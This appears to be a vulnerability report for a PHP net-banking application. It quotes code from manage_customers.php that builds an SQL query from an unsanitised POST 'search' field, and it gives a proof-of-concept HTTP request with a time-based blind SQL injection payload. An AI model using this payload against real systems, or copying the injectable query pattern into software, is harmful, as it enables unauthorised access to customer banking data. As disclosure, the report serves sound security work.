Found a vulnerability

[0clickjacking0]

Vulnerability file address

net-banking/manage_customers.php from line 11,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 70 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
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    if (isset($_POST['submit'])) {
        $back_button = TRUE;
        $search = $_POST['search'];
        $by = $_POST['by'];

        if ($by == "name") {
            $sql0 = "SELECT cust_id, first_name, last_name, account_no FROM customer
            WHERE first_name LIKE '%".$search."%' OR last_name LIKE '%".$search."%'
            OR CONCAT(first_name, ' ', last_name) LIKE '%".$search."%'";
        }
        else {
            $sql0 = "SELECT cust_id, first_name, last_name, account_no FROM customer
            WHERE account_no LIKE '$search'";
        }
    }
......
......
......

        <?php
            $result = $conn->query($sql0);
......
......
......

POC

POST /net-banking/manage_customers.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY

Attack results pictures